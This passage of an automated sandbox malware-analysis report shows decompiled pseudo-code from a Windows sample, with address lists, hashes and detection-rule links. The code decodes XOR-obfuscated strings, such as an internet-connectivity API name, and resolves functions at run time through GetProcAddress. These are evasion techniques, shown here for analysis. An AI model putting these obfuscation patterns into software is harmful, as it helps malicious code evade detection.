				 *((intOrPtr*)(_t431 + 0x5c)) = 0;
				if( *((intOrPtr*)(_t186 + 0x50)) < _t292) {
					_t187 = _t186 + 0x3c;
					__eflags = _t186 + 0x3c;
				} else {
					_t187 =  *(_t186 + 0x3c);
				}
				_t188 = E00425500(_t187, 0x40);
				_t432 = _t431 + 8;
				if(_t188 != _t413) {
					_t14 = _t188 + 1; // 0x1
					_t366 = _t14;
					_t189 = _t14;
					_push(_t418);
					_t15 = _t189 + 1; // 0x2
					_t419 = _t15;
					do {
						_t303 =  *_t189;
						_t189 = _t189 + 1;
						__eflags = _t303;
					} while (_t303 != 0);
					E004028A0(_t432 + 0x40, _t366, _t189 - _t419);
					__eflags =  *((intOrPtr*)(_t432 + 0x4c)) - _t413;
					if( *((intOrPtr*)(_t432 + 0x4c)) != _t413) {
						_t192 = E00407880();
						 *(_t432 + 0x18) = _t192;
						 *((char*)(_t192 + 0x2d)) = 1;
						 *( *(_t432 + 0x18) + 4) =  *(_t432 + 0x18);
						 *( *(_t432 + 0x18)) =  *(_t432 + 0x18);
						 *( *(_t432 + 0x18) + 8) =  *(_t432 + 0x18);
						 *(_t432 + 0x1c) = _t413;
						 *((char*)(_t432 + 0x60)) = 1;
						_t196 = E00407880();
						 *((intOrPtr*)(_t432 + 0x28)) = _t196;
						 *((char*)(_t196 + 0x2d)) = 1;
						 *((intOrPtr*)( *((intOrPtr*)(_t432 + 0x28)) + 4)) =  *((intOrPtr*)(_t432 + 0x28));
						 *((intOrPtr*)( *((intOrPtr*)(_t432 + 0x28)))) =  *((intOrPtr*)(_t432 + 0x28));
						 *((intOrPtr*)( *((intOrPtr*)(_t432 + 0x28)) + 8)) =  *((intOrPtr*)(_t432 + 0x28));
						 *(_t432 + 0x2c) = _t413;
						asm("pushad");
						asm("popad");
						_t420 = 0x10;
						__eflags =  *((intOrPtr*)(_t432 + 0x50)) - _t420;
						_t201 =  *((intOrPtr*)(_t432 + 0x3c));
						 *((char*)(_t432 + 0x60)) = 2;
						_t293 = 0x23;
						 *(_t432 + 0x10) = 0x4d;
						if( *((intOrPtr*)(_t432 + 0x50)) < _t420) {
							_t201 = _t432 + 0x3c;
						}
						_t202 = E00404110( *((intOrPtr*)(_t428 + 0x2c)), _t201, _t432 + 0x14);
						__eflags = _t202;
						if(_t202 != 0) {
							_t204 =  *0x431e74; // 0x0
							_t421 =  *0x431e6c; // 0x0
							_t309 =  *0x431e68; // 0x0
							_t206 =  *(_t432 + 0x18);
							_t311 = _t309 - _t204 * 0x0000004d ^ 0x00000041;
							 *0x431e68 = _t311;
							 *0x431e6c = _t421 - 0x23;
							_t423 =  *_t206;
							__eflags = _t423 - _t206;
							 *((intOrPtr*)(_t432 + 0x20)) = _t423;
							if(_t423 != _t206) {
								do {
									_t379 =  *(_t432 + 0x10);
									_t235 =  *0x431e6c; // 0x0
									_t239 =  *0x431e70; // 0x0
									 *0x431e74 = 8;
									 *0x431e70 = _t239 - _t311 * (_t235 * _t379 >> 0x00000020) ^ 0x00000041;
									_t298 = _t293 - _t235 * _t379 ^ 0x00000041;
									__eflags =  *((intOrPtr*)(_t423 + 0x28)) - 0x10;
									if( *((intOrPtr*)(_t423 + 0x28)) < 0x10) {
										_t79 = _t423 + 0x14; // -15
										_t243 = _t79;
									} else {
										_t243 =  *((intOrPtr*)(_t423 + 0x14));
									}
									_t81 = _t423 + 0xc; // -23
									_t417 = _t81;
									_t245 = E0041AEF0(_t298, _t428, _t417, _t428, _t243,  *((intOrPtr*)(_t423 + 0xc)), 0x2bf20);
									__eflags = _t245;
									if(_t245 == 0) {
										_t246 =  *0x431e74; // 0x0
										 *(_t432 + 0x10) = (_t298 & 0x000000ff) *  *(_t432 + 0x10);
										_t250 =  *0x431e68; // 0x0
										_push( *((intOrPtr*)(_t432 + 0x68)));
										_t338 = _t428;
										 *0x431e70 = (_t246 * _t298 >> 0x00000020) - _t246 * _t298 ^ 0x00000041;
										 *0x431e6c = 0x6f;
										 *0x431e68 = _t250 & 0x0000006e;
										_t252 = E0041B010(_t298, _t338, _t417, _t423, _t428);
										__eflags = _t252;
										if(_t252 == 0) {
											_t253 =  *0x431e68; // 0x0
											 *0x431e6c = (_t253 *  *0x431e70 >> 0x20) *  *0x431e6c +  *0x431e74 + 0x5b;
											_t293 = _t298 - _t253 *  *0x431e70 ^ 0x00000041;
											__eflags =  *((intOrPtr*)(_t428 + 4)) - 0xffffffff;
											if(__eflags != 0) {
												_t343 = _t428;
												E0041AE80(_t343, _t423, __eflags);
												E0041BA60();
											}
											_t125 = (_t293 & 0x000000ff) + 0x4d; // 0x4d
											 *(_t432 + 0x10) = _t125;
											_t341 =  *0x431e6c; // 0x0
											_t257 =  *0x431e70; // 0x0
											_t258 = _t257 | 0x00000006;
											__eflags = _t258;
											 *0x431e6c = _t341 + (_t293 & 0x000000ff);
											_t311 =  *0x431e68; // 0x0
											 *0x431e74 = 8;
											 *0x431e70 = _t258;
										} else {
											_t345 =  *0x431e70; // 0x0
											_t300 =  *(_t432 + 0x10);
											 *0x431e70 = _t345 ^ 0x0000004a;
											 *0x431e68 = 3;
											 *0x431e74 = (_t298 & 0x000000ff) *  *0x431e74 * _t300 | 0x00000024;
											_t347 =  *(_t428 + 0x30);
											__eflags =  *(_t428 + 0x30);
											if( *(_t428 + 0x30) != 0) {
												E0041A9C0(_t347, _t252,  *((intOrPtr*)(_t428 + 0x24)),  *((intOrPtr*)(_t428 + 0x28)));
											}
											_t261 = _t300;
											_t293 = _t261 * 0x33;
											_push(_t417);
											 *0x431e6c = _t261 * 0x33 >> 0x20;
											E004031F0(_t432 + 0x34);
											_t265 =  *0x431e74; // 0x0
											_t266 = _t265 * 0x33;
											__eflags = _t266;
											 *0x431e70 = _t266;
											goto L37;
										}
									} else {
										 *0x431e6c = ( *0x431e68 & 0x000000ff) *  *0x431e6c +  *0x431e74 + 0x5b;
										_t354 =  *(_t428 + 0x30);
										__eflags =  *(_t428 + 0x30);
										if( *(_t428 + 0x30) != 0) {
											E0041A9C0(_t354, _t245,  *((intOrPtr*)(_t428 + 0x24)),  *((intOrPtr*)(_t428 + 0x28)));
										}
										_t269 =  *0x431e70; // 0x0
										_t293 = 3;
										 *0x431e70 = _t269 ^ 0x00000003;
										_push(_t417);
										 *(_t432 + 0x18) = 0x4d;
										E004031F0(_t432 + 0x34);
										_t273 =  *0x431e74; // 0x0
										 *0x431e68 = _t273 * 0x33;
										 *0x431e6c =  *0x431e6c ^ 0x00006970;
										goto L37;
									}
									L42:
									_t413 = 0;
									__eflags = 0;
									goto L43;
									L37:
									E00402030(_t432 + 0x20);
									_t423 =  *((intOrPtr*)(_t432 + 0x20));
									__eflags = _t423 -  *(_t432 + 0x18);
									_t311 =  *0x431e68; // 0x0
								} while (_t423 !=  *(_t432 + 0x18));
								goto L42;
							}
							L43:
							_t312 = _t311 | 0x0000008a;
							__eflags =  *(_t432 + 0x2c) - _t413;
							if( *(_t432 + 0x2c) != _t413) {
								_t375 =  *0x431e6c; // 0x0
								_t226 =  *((intOrPtr*)(_t432 + 0x28));
								 *0x431e68 = 3;
								 *0x431e74 = 8;
								_t423 =  *_t226;
								_t416 = _t375 +  *(_t432 + 0x10) & ( *0x431e70 & 0x000000ff) + 0x00000036;
								__eflags = _t423 - _t226;
								 *((intOrPtr*)(_t432 + 0x20)) = _t423;
								if(_t423 != _t226) {
									do {
										_t426 = _t423 + 0xc;
										_t231 = E0041B370(_t432 + 0x18, _t426);
										_push(_t426);
										_t296 = _t231;
										_t232 = E0041B310(_t432 + 0x18);
										__eflags = _t232 - _t296;
										_t377 = _t232;
										if(_t232 != _t296) {
											do {
												__eflags =  *(_t377 + 0x2d);
												if( *(_t377 + 0x2d) == 0) {
													_t332 =  *((intOrPtr*)(_t377 + 8));
													__eflags =  *((char*)(_t332 + 0x2d));
													if( *((char*)(_t332 + 0x2d)) != 0) {
														_t333 =  *((intOrPtr*)(_t377 + 4));
														__eflags =  *((char*)(_t333 + 0x2d));
														if( *((char*)(_t333 + 0x2d)) == 0) {
															while(1) {
																__eflags = _t377 -  *((intOrPtr*)(_t333 + 8));
																if(_t377 !=  *((intOrPtr*)(_t333 + 8))) {
																	goto L57;
																}
																_t377 = _t333;
																_t333 =  *((intOrPtr*)(_t333 + 4));
																__eflags =  *((char*)(_t333 + 0x2d));
																if( *((char*)(_t333 + 0x2d)) == 0) {
																	continue;
																}
																goto L57;
															}
														}
														L57:
														_t377 = _t333;
													} else {
														_t377 = _t332;
														_t334 =  *_t377;
														__eflags =  *((char*)(_t334 + 0x2d));
														while( *((char*)(_t334 + 0x2d)) == 0) {
															_t377 = _t334;
															_t334 =  *_t377;
															__eflags =  *((char*)(_t334 + 0x2d));
														}
													}
												}
												__eflags = _t377 - _t296;
											} while (_t377 != _t296);
										}
										E004032F0(_t432 + 0x20, _t432 + 0x70, _t232, _t296);
										E00402030(_t432 + 0x20);
										_t423 =  *((intOrPtr*)(_t432 + 0x20));
										__eflags = _t423 -  *((intOrPtr*)(_t432 + 0x28));
									} while (_t423 !=  *((intOrPtr*)(_t432 + 0x28)));
								}
								_t150 = _t416 + 0x5b; // 0x5b
								__eflags =  *((intOrPtr*)(_t432 + 0x50)) - 0x10;
								_t229 =  *((intOrPtr*)(_t432 + 0x3c));
								_t293 = 3;
								 *0x431e6c = ( *0x431e70 & 0x000000ff) *  *0x431e6c + _t150;
								if( *((intOrPtr*)(_t432 + 0x50)) < 0x10) {
									_t229 = _t432 + 0x3c;
								}
								E004045D0( *((intOrPtr*)(_t428 + 0x2c)), _t229, _t432 + 0x14);
								_t312 =  *0x431e68; // 0x0
								_t413 = 0;
								__eflags = 0;
							}
							 *0x431e70 = _t312 * 0x33;
							 *0x431e74 =  *0x431e74 ^ _t293 & 0x000000ff;
							__eflags = _t423 -  *(_t432 + 0x18);
							 *0x431e6c = _t413;
							 *0x431e68 = _t312 ^ 0x0000001e;
							_t314 =  *(_t428 + 0x30);
							__eflags =  *(_t428 + 0x30) - _t413;
							_t424 = 0 | _t423 ==  *(_t432 + 0x18);
							if( *(_t428 + 0x30) != _t413) {
								E0041A9C0(_t314, _t424,  *((intOrPtr*)(_t428 + 0x24)),  *((intOrPtr*)(_t428 + 0x28)));
							}
							 *((char*)(_t432 + 0x6c)) = 1;
							E004032F0(_t432 + 0x30, _t432 + 0x70,  *((intOrPtr*)( *((intOrPtr*)(_t432 + 0x28)))),  *((intOrPtr*)(_t432 + 0x28)));
							_push( *((intOrPtr*)(_t432 + 0x28)));
							L00424BCD();
							_t433 = _t432 + 4;
							 *(_t433 + 0x28) = _t413;
							 *(_t433 + 0x2c) = _t413;
							 *((char*)(_t433 + 0x6c)) = 0;
							E004032F0(_t433 + 0x20, _t433 + 0x70,  *( *(_t432 + 0x1c)),  *(_t432 + 0x1c));
							_push( *((intOrPtr*)(_t433 + 0x18)));
							L00424BCD();
							_t432 = _t433 + 4;
							__eflags =  *((intOrPtr*)(_t433 + 0x54)) - 0x10;
							 *(_t432 + 0x18) = _t413;
							 *(_t432 + 0x1c) = _t413;
							if( *((intOrPtr*)(_t433 + 0x54)) >= 0x10) {
								_push( *((intOrPtr*)(_t432 + 0x3c)));
								L00424BCD();
								_t432 = _t432 + 4;
							}
							_t220 = _t424;
						} else {
							 *0x431e6c =  *0x431e6c ^ 0x00007dcf;
							_t357 =  *(_t428 + 0x30);
							__eflags =  *(_t428 + 0x30) - _t413;
							if( *(_t428 + 0x30) != _t413) {
								E0041A9C0(_t357, 4,  *((intOrPtr*)(_t428 + 0x24)),  *((intOrPtr*)(_t428 + 0x28)));
							}
							_t359 =  *0x431e68; // 0x0
							 *0x431e6c = 0;
							 *0x431e70 = _t359 * 0x33;
							 *0x431e74 = 0x5c;
							 *((char*)(_t432 + 0x60)) = 1;
							E00403500();
							 *((char*)(_t432 + 0x60)) = 0;
							E00403500();
							__eflags =  *((intOrPtr*)(_t432 + 0x50)) - _t420;
							if( *((intOrPtr*)(_t432 + 0x50)) >= _t420) {
								_push( *((intOrPtr*)(_t432 + 0x3c)));
								L00424BCD();
								_t432 = _t432 + 4;
							}
							_t220 = 4;
						}
					} else {
						_t363 =  *(_t428 + 0x30);
						__eflags =  *(_t428 + 0x30) - _t413;
						if( *(_t428 + 0x30) != _t413) {
							E0041A9C0(_t363, 2,  *((intOrPtr*)(_t428 + 0x24)),  *((intOrPtr*)(_t428 + 0x28)));
						}
						__eflags =  *((intOrPtr*)(_t432 + 0x50)) - _t292;
						if( *((intOrPtr*)(_t432 + 0x50)) >= _t292) {
							_push( *((intOrPtr*)(_t432 + 0x3c)));
							L00424BCD();
							_t432 = _t432 + 4;
						}
						_t220 = 2;
					}
				} else {
					_t365 =  *(_t428 + 0x30);
					if( *(_t428 + 0x30) != _t413) {
						E0041A9C0(_t365, 2,  *((intOrPtr*)(_t428 + 0x24)),  *((intOrPtr*)(_t428 + 0x28)));
					}
					if( *((intOrPtr*)(_t432 + 0x4c)) >= _t292) {
						_push( *((intOrPtr*)(_t432 + 0x38)));
						L00424BCD();
						_t432 = _t432 + 4;
					}
					_t220 = 2;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t432 + 0x54));
				return E00424873(_t220,  *((intOrPtr*)(_t432 + 0x48)));
			}

0x0041b3d0
0x0041b3d0
0x0041b3d2
0x0041b3dd
0x0041b3de
0x0041b3e5
0x0041b3e8
0x0041b3ed
0x0041b3ef
0x0041b3f0
0x0041b3f2
0x0041b3f6
0x0041b3f7
0x0041b3f8
0x0041b400
0x0041b404
0x0041b409
0x0041b414
0x0041b417
0x0041b41b
0x0041b422
0x0041b422
0x0041b41d
0x0041b41d
0x0041b41d
0x0041b428
0x0041b42d
0x0041b432
0x0041b467
0x0041b467
0x0041b46b
0x0041b46c
0x0041b46d
0x0041b46d
0x0041b470
0x0041b470
0x0041b472
0x0041b473
0x0041b473
0x0041b47f
0x0041b484
0x0041b488
0x0041b4c1
0x0041b4c6
0x0041b4ca
0x0041b4d2
0x0041b4d9
0x0041b4df
0x0041b4e2
0x0041b4ea
0x0041b4ef
0x0041b4f4
0x0041b4f8
0x0041b500
0x0041b507
0x0041b50d
0x0041b510
0x0041b518
0x0041b519
0x0041b51c
0x0041b51d
0x0041b51f
0x0041b523
0x0041b528
0x0041b52a
0x0041b532
0x0041b534
0x0041b534
0x0041b541
0x0041b546
0x0041b548
0x0041b5c8
0x0041b5cd
0x0041b5d7
0x0041b5df
0x0041b5e6
0x0041b5e9
0x0041b5ef
0x0041b5f5
0x0041b5f7
0x0041b5f9
0x0041b5fd
0x0041b603
0x0041b603
0x0041b607
0x0041b616
0x0041b61f
0x0041b628
0x0041b630
0x0041b633
0x0041b636
0x0041b63d
0x0041b63d
0x0041b638
0x0041b638
0x0041b638
0x0041b643
0x0041b643
0x0041b654
0x0041b654
0x0041b656
0x0041b6ce
0x0041b6e9
0x0041b6ed
0x0041b6f7
0x0041b6f9
0x0041b6fa
0x0041b700
0x0041b70a
0x0041b70f
0x0041b714
0x0041b716
0x0041b7b9
0x0041b7db
0x0041b7e4
0x0041b7e7
0x0041b7ea
0x0041b7ed
0x0041b7ee
0x0041b7f5
0x0041b7f5
0x0041b7fd
0x0041b800
0x0041b804
0x0041b80c
0x0041b811
0x0041b811
0x0041b813
0x0041b819
0x0041b81f
0x0041b828
0x0041b71c
0x0041b71c
0x0041b726
0x0041b72d
0x0041b733
0x0041b747
0x0041b74e
0x0041b751
0x0041b753
0x0041b75e
0x0041b75e
0x0041b769
0x0041b775
0x0041b777
0x0041b781
0x0041b787
0x0041b78c
0x0041b793
0x0041b793
0x0041b795
0x00000000
0x0041b795
0x0041b658
0x0041b671
0x0041b67a
0x0041b67a
0x0041b67c
0x0041b687
0x0041b687
0x0041b68c
0x0041b691
0x0041b695
0x0041b69a
0x0041b6a4
0x0041b6ac
0x0041b6b1
0x0041b6ba
0x0041b6bf
0x00000000
0x0041b6bf
0x0041b82d
0x0041b82d
0x0041b82d
0x00000000
0x0041b79a
0x0041b79e
0x0041b7a3
0x0041b7a7
0x0041b7ab
0x0041b7ab
0x00000000
0x0041b7b7
0x0041b82f
0x0041b833
0x0041b836
0x0041b838
0x0041b842
0x0041b852
0x0041b859
0x0041b860
0x0041b869
0x0041b86b
0x0041b86d
0x0041b86f
0x0041b873
0x0041b880
0x0041b880
0x0041b888
0x0041b88d
0x0041b893
0x0041b894
0x0041b899
0x0041b89b
0x0041b89d
0x0041b8a0
0x0041b8a3
0x0041b8a5
0x0041b8a7
0x0041b8aa
0x0041b8ae
0x0041b8cc
0x0041b8cf
0x0041b8d3
0x0041b8d5
0x0041b8d5
0x0041b8d8
0x00000000
0x00000000
0x0041b8da
0x0041b8dc
0x0041b8df
0x0041b8e3
0x00000000
0x00000000
0x00000000
0x0041b8e3
0x0041b8d5
0x0041b8e5
0x0041b8e5
0x0041b8b0
0x0041b8b0
0x0041b8b2
0x0041b8b4
0x0041b8b8
0x0041b8c1
0x0041b8c2
0x0041b8c4
0x0041b8c4
0x0041b8b8
0x0041b8ae
0x0041b8e7
0x0041b8e7
0x0041b8a0
0x0041b8f6
0x0041b8ff
0x0041b904
0x0041b908
0x0041b908
0x0041b880
0x0041b920
0x0041b924
0x0041b929
0x0041b92d
0x0041b92f
0x0041b935
0x0041b937
0x0041b937
0x0041b944
0x0041b949
0x0041b94f
0x0041b94f
0x0041b94f
0x0041b957
0x0041b960
0x0041b96d
0x0041b975
0x0041b97b
0x0041b981
0x0041b984
0x0041b986
0x0041b988
0x0041b993
0x0041b993
0x0041b9a9
0x0041b9ae
0x0041b9b7
0x0041b9b8
0x0041b9c1
0x0041b9c4
0x0041b9c8
0x0041b9d9
0x0041b9de
0x0041b9e7
0x0041b9e8
0x0041b9f1
0x0041b9f4
0x0041b9f7
0x0041b9fb
0x0041b9ff
0x0041ba05
0x0041ba06
0x0041ba0b
0x0041ba0b
0x0041ba0f
0x0041b54a
0x0041b54a
0x0041b554
0x0041b557
0x0041b559
0x0041b565
0x0041b565
0x0041b56c
0x0041b57b
0x0041b585
0x0041b58a
0x0041b593
0x0041b598
0x0041b5a1
0x0041b5a6
0x0041b5ab
0x0041b5af
0x0041b5b5
0x0041b5b6
0x0041b5bb
0x0041b5bb
0x0041b5be
0x0041b5be
0x0041b48a
0x0041b48a
0x0041b48d
0x0041b48f
0x0041b49b
0x0041b49b
0x0041b4a0
0x0041b4a4
0x0041b4aa
0x0041b4ab
0x0041b4b0
0x0041b4b0
0x0041b4b7
0x0041b4b7
0x0041b434
0x0041b434
0x0041b439
0x0041b445
0x0041b445
0x0041b44e
0x0041b454
0x0041b455
0x0041b45a
0x0041b45a
0x0041b45d
0x0041b45d
0x0041ba17
0x0041ba2b

Strings

M, xrefs: 0041B6A4
M, xrefs: 0041B52A

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: MutexObjectReleaseSingleWaitlstrlen
String ID: M$M
API String ID: 2109015423-2122717962
Opcode ID: 74f3086b28d7a163f428eca629a82087f5e71dab00696a0f6cefbba778a0e9de
Instruction ID: 663470ca590c9a0e32f89b9cb76e09064dbb8cba3e1f0d420d3189a41e11dcb5
Opcode Fuzzy Hash: 74f3086b28d7a163f428eca629a82087f5e71dab00696a0f6cefbba778a0e9de
Instruction Fuzzy Hash: 6212F6B15083408FD304DF24D891AEBBBE9EF99304F04596EF885573A2C7B5D885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042C8B2, Relevance: 1.5, APIs: 1, Instructions: 25
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042C8B2() {
				intOrPtr _t7;
				signed int _t9;
				signed int _t11;
				void* _t15;
				void* _t16;

				_t15 = _t16;
				_t7 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t15 - 4)) = _t7;
				 *((char*)(_t15 - 6)) = 0;
				_t9 = GetLocaleInfoA( *(_t15 + 8), 0x1004, _t15 - 0xc, 6);
				if(_t9 != 0) {
					_t11 = E004259C0(_t15 - 0xc);
				} else {
					_t11 = _t9 | 0xffffffff;
				}
				return E00424873(_t11,  *((intOrPtr*)(_t15 - 4)));
			}

0x0042c8b4
0x0042c8b8
0x0042c8bf
0x0042c8ce
0x0042c8d2
0x0042c8da
0x0042c8e5
0x0042c8dc
0x0042c8dc
0x0042c8dc
0x0042c8f4

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,00000100,?,00000000), ref: 0042C8D2

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9c15c33a44fdd4377f056c5d7fae599edf58a68302e0b3039e12331567ec5bae
Instruction ID: 2439998c13950fad40d8b7fa52a061c0365582b93aeabf9bc395497d01bab963
Opcode Fuzzy Hash: 9c15c33a44fdd4377f056c5d7fae599edf58a68302e0b3039e12331567ec5bae
Instruction Fuzzy Hash: 40E09275B00158EBDB01EBB1EC42AED3BB8AB08369F4041A6F111D61D1D7759644D719

Uniqueness

Uniqueness Score: -1.00%

Function 00428A08, Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52bf8da925888e1aa091916e64b5b87c4650cce0afaeb33719ec773a9f9e0f73
Instruction ID: 6c5a3ebf461e9170f7e713b396d4404afe64b2ea73e02067a721fefb2ea4eedb
Opcode Fuzzy Hash: 52bf8da925888e1aa091916e64b5b87c4650cce0afaeb33719ec773a9f9e0f73
Instruction Fuzzy Hash: BAB18C71A0221ADFCB15CF04D5C0AADFBA1BF59314F54C1AED90A5B342CB35BA46CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00425214, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction ID: 3cdbe674e5470716266b0416ac65ed08902d21a00894794e9fc3ed7962c02048
Opcode Fuzzy Hash: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction Fuzzy Hash: F721D632A00614DFCB14DF69D8809ABB7A5FF45310B8A80A9E915CB286E734F915CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0041D478, Relevance: 158.0, APIs: 13, Strings: 77, Instructions: 493
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0041D478(void* __eax, void* __ebx, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a96, char _a97, char _a98, char _a99, char _a100, char _a101, char _a102, char _a103, char _a104, char _a105, char _a106, char _a108, char _a109, char _a110, char _a111, char _a112, char _a113, char _a114, char _a115, char _a116, char _a117, char _a118, char _a119, char _a120, char _a121, char _a122, char _a123, char _a124, char _a125, char _a126, char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, CHAR* _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^  *(__esp +  &(__eax[0x10]));
					__eax =  &(__eax[1]);
				} while (__eax < 0x17);
				__edx =  &_a176;
				__eax = GetProcAddress(__edi,  &_a176);
				__eax = __eax;
				 *0x431ef4 = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__eax =  &_a108;
					_push( &_a108);
					__ecx =  &_a40;
					asm("pushad");
					asm("popad");
					__edx = 0xc;
					_a108 = 0x53;
					_a109 = 0x8b;
					_a110 = 0xbe;
					_a111 = 0xec;
					_a112 = 0xbe;
					_a113 = 0x6c;
					_a114 = 0x99;
					_a115 = 0x48;
					_a116 = 0x4e;
					_a117 = 0x30;
					_a118 = 0x6a;
					_a119 = 0xa4;
					_a40 = 0x21;
					_a41 = 0x76;
					_a42 = 0x1f;
					_a43 = 0x71;
					_a44 = 0x18;
					_a45 = 0x76;
					_a46 = 0x13;
					_a47 = 0x67;
					_a48 = 0x49;
					_a49 = __bl;
					_a50 = 0x41;
					_a51 = __bl;
					__eax = E0041C4C0( &_a40, __edx);
					__esp = __esp + 4;
					__edi = __eax;
					__eax = 0;
					__edi = __edi;
					if(__edi == 0) {
						L28:
						__ecx = _a336;
						_pop(__edi);
						__eax = E00424873(__eax, _a336);
						__esp = __esp + 0x144;
						return __eax;
					} else {
						_a176 = 0xd3;
						_a177 = 0xf4;
						_a178 = 0xee;
						_a179 = 0xff;
						_a180 = 0xe8;
						_a181 = 0xf4;
						_a182 = 0xff;
						_a183 = 0xee;
						_a184 = 0xdd;
						_a185 = 0xff;
						_a186 = 0xee;
						_a187 = 0xd9;
						_a188 = 0xf5;
						_a189 = 0xf4;
						_a190 = 0xf4;
						_a191 = 0xff;
						_a192 = 0xf9;
						_a193 = 0xee;
						_a194 = 0xff;
						_a195 = 0xfe;
						_a196 = 0xc9;
						_a197 = 0xee;
						_a198 = 0xfb;
						_a199 = 0xee;
						_a200 = 0xff;
						_a201 = 0x9a;
						do {
							 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^ 0x0000009a;
							__eax =  &(__eax[1]);
						} while (__eax < 0x1a);
						__ecx =  &_a176;
						__eax = GetProcAddress(__edi, __ecx);
						__eax = __eax;
						 *0x431ef8 = __eax;
						if(__eax == 0) {
							goto L1;
						} else {
							_a40 = 0xec;
							_a41 = 0xcb;
							_a42 = 0xd1;
							_a43 = 0xc0;
							_a44 = 0xd7;
							_a45 = 0xcb;
